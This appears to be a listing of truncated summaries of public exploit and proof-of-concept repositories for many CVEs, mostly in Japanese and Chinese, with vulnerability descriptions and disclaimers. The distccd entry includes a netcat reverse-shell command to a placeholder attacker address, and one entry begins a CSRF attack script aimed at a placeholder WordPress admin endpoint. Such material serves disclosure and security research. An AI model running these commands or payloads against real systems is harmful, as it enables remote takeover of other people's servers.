CVE-2020-8254

CVE-2020-8254: Pulse Secure VPN Windows Client における Zip Slip Pulse Secure Desktop Client 9.1R9 には、ユーザーが悪意のあるサーバーに接続するように仕向けられた場合にリモートコード実行（RCE）を引き起こす脆弱性が存在します。 ベンダーの開示情報: この脆弱性に関するベンダーの開示情報および修正はこちらで確認できます。 必要条件: この脆弱性の悪用には以下が必要です: ユーザーの操作（「Host...

CVE-2025-31324

PoC - CVE-2025-31324 [email protected] SAP NetWeaver Visual Composer の脆弱性 CVE-2025-31324 に対するテスト用エクスプロイトです。エンドポイント /developmentserver/metadatauploader を介して、認証なしでの任意のファイルアップロード を可能にします。 ⚠️ このコードは教育目的および許可されたテスト専用です。本番環境や許可なくシステムに対して使用しないでください。 説明 この脆弱性により、認証されていないリモートの攻撃者が SAP...

CVE-2018-7600

CVE-2018-7600 的 POC Drupal RCE CVE-2018-7600 别忘了在脚本中填入你的地址！ 描述： Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。这可能允许攻击者利用多个攻击向量对 Drupal 站点发起攻击，从而导致站点被完全入侵。 解决方案： 升级到最新版本的 Drupal 7 或 8 核心。 如果你正在运行 7.x，请升级到 Drupal 7.58。（如果无法立即更新，你可以尝试应用此补丁来修复漏洞，直到你能够完全更新为止。） 如果你正在运行 8.5.x，请升级到 Drupal...

CVE-2018-15133-PoC

CVE-2018-15133-PoC このPythonスクリプトは、安全でないデシリアライゼーションを利用した脆弱なLaravelアプリケーション向けのリモートコード実行（RCE）エクスプロイトを実装しています。これはCVE-2018-15133の脆弱性に基づいています。...

distccd_rce_CVE-2004-2687

このスクリプトの目的は、Metasploitを使用せずに手動で行うことです。 使用方法: root@kitploit: nc -lvnp 4466 エクスプロイトの実行: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC デシリアライゼーション RCE スキャナ このツールは、対象が CVE‑2025‑55182 に対して脆弱かどうかをチェックします。これは、Next.js 内の RSC（React Server Components）モデルペイロードの安全でない処理によって引き起こされるリモートコード実行バグです。 この脆弱性は、プロトタイプ汚染 → デシリアライゼーションの悪用 → サーバーサイドJavaScript実行 の連鎖を利用します。 免責事項:...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 概要 このリポジトリは、TryHackMeのルームで学習した セキュリティの概念 を文書化しています。これは CVE-2025-55182 に関するもので、影響を受ける重要な脆弱性です： React Server Components RSC Next.js および RSC ベースのフレームワーク パッケージ: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack この脆弱性により以下が可能になります：...

CVE-2024-32002-git-rce

このリポジトリには README がありません。...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 版本 2.3.x（低于 2.3.32）和 2.5.x（低于 2.5.10.1）的 Jakarta Multipart 解析器存在一个缺陷。该缺陷导致在尝试上传文件时异常处理不当并生成错误消息。因此，攻击者可以通过利用精心构造的 HTTP 头部（如 Content-Type、Content-Disposition 或 Content-Length）远程执行任意命令。 执行 python exploit.py -r -c 参考 NIST NVD MITRE Corporation...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 構成 CVE-2018-11235-Git PoC と docker ngrok によるトンネリング Dockerfile をビルド root@kitploit: $ docker build -t cve-2018-11235 . ngrok 用のカスタムネットワークを作成 root@kitploit: $ docker network create myngroknet Git HTTP サーバーを起動 root@kitploit: $ docker run -d -p 8080:80...

CVE-2022-46169

以下は、整形された説明文書です： CVE‑2022‑46169 – 解説 & プロジェクト概要 Cacti 非認証リモートコード実行 このプロジェクトについて このプロジェクトは、CVE‑2022‑46169 をデモンストレーションするサイバーセキュリティ演習です。この脆弱性は、オープンソースのネットワーク監視プラットフォーム Cacti （バージョン ≤ 1.2.22）における深刻な脆弱性です。認証されていない攻撃者が、ログインなしでサーバー上で任意のOSコマンドを実行できるようにします。 このプロジェクトの目的は、脆弱性を理解し、管理されたラボ環境で再現し、その影響を実証することです...

Exploit-PoC-para-CVE-2024-30085

🚨 CVE-2024-30085 の Exploit PoC CVE-2024-30085 の権限昇格脆弱性に対する Proof of Concept エクスプロイトです。教育およびセキュリティ研究目的のみ。 ⚠️ 法的注意事項 教育専用 ✅ 許可されたセキュリティ調査 ✅ 管理された実験環境 ✅ サイバーセキュリティ教育 ❌ 無許可のシステム ❌ 悪意のある活動 💰 このプロジェクトを支援する ₿ ビットコインでの寄付歓迎！ root@kitploit: ┌─────────────────────────────────────┐ │ ₿ Dirección de Donación...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 CVE-2023-36884 の脆弱性を緩和するための一時的な解決策。 この脆弱性は Windows オペレーティングシステムに影響を及ぼし、悪意のあるコードがリモートで実行される可能性があります。 CVE-2023-36884 » CVE-2023-36884 CVE-2023-36884 は、Windows システムでリモートでコードが実行される可能性がある重大なセキュリティ上の欠陥です。この問題を修正する Microsoft の更新プログラムはまだリリースされていません。ただし、Microsoft...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 説明 このNucleiテンプレートは、リモートコード実行（RCE）を可能にするTOCTOUレースコンディションに対して脆弱なApache Tomcatサーバーを検出します。 ⚠ 重要なお知らせ : このテンプレートは、教育目的およびシステム所有者の明示的な同意を得た管理された環境でのみ使用する必要があります。 さらに、このテンプレートはテスト段階にあるため、脆弱なApacheのすべてのバージョンで100%テストしたわけではありません。 必要条件 Nucleiがインストールされていること（Linux、Mac、Windows）。...

CVE-2017-9841-EXPLOIT

CVE-2017-9841 - PHPUnit リモートコード実行RCE この脆弱性は、PHPUnit 4.8.28 より前のバージョンおよび 5.6.3 より前のすべての 5.x バージョンに影響します。これにより、攻撃者は PHPUnit が公開されているサーバー上で任意の PHP コードを実行できます。問題は、PHPUnit の Util/PHP ディレクトリにある eval-stdin.php ファイルに存在します。このファイルにアクセス可能な場合（通常は /vendor フォルダが公開されている場合）、攻撃者は ?php で始まる PHP コードを含む悪意のある HTTP PO...

CVE-2026-3844-Lab

CVE-2026-3844 — Breeze Cache 認証なし任意ファイルアップロードによるRCEラボ WordPressのBreeze CacheプラグインにおけるCVE-2026-3844の動作を再現・比較するためのローカル限定Dockerラボです。 このリポジトリは、Breeze Cache 2.4.4 の脆弱な動作を示し、Breeze Cache 2.4.5 のパッチ適用後の動作と比較します。ラボは2つの隔離されたWordPressサービス（脆弱なものとパッチ適用済みのもの）と、Dockerネットワーク内のローカルペイロードサーバーを使用します。 概念実証は意図的に最小限の害...

CVE-2025-12189

Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによる育成 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank';...

CVE-2025-25257

🚨 CVE-2025-25257 – FortiWeb SQLiによるRCE 深刻なSQLインジェクション → ウェブシェル実行 発見・武器化: 0xgh057r3c0n 🧠 脆弱性概要 CVE-2025-25257 は、エンドポイント /api/fabric/device/status を公開する FortiWeb システムに影響を与え、Authorization ヘッダー入力の適切なサニタイズに失敗します。 攻撃者は認証なしでSQLインジェクションを実行し、サーバー上にウェブシェルを書き込み、リモートでコマンドを実行できます。 💥 攻撃フロー root@kitploit: SQL...

CVE-2025-11953-PoC

説明 React Native Community CLIによって起動されるMetro Development Serverは、デフォルトで外部インターフェースにバインドします。サーバーはOSコマンドインジェクションに対して脆弱なエンドポイントを公開しています。これにより、認証されていないネットワーク攻撃者がサーバーにPOSTリクエストを送信し、任意の実行ファイルを実行できます。Windowsでは、攻撃者は完全に制御された引数で任意のシェルコマンドを実行することもできます。 影響を受けるバージョン プロダクト| 深刻度| 影響を受けるバージョン| パッチ適用バージョン...

CVE-2024-48990

CVE-2024-48990 の PoC CVE-2024-48990 は、needrestart ユーティリティに存在するローカル権限昇格の脆弱性です。この脆弱性は 3.8 より前のバージョンに存在します。パッケージインストールなどのイベント時に root として実行されるこのサービスは、実行中のすべてのプロセスを安全でない方法でスキャンします。Python プロセスを検出すると、そのプロセスの PYTHONPATH 環境変数を読み取り、信頼します。 権限のないローカル攻撃者は、「おとり」プロセスの PYTHONPATH を乗っ取ることができます。needrestart...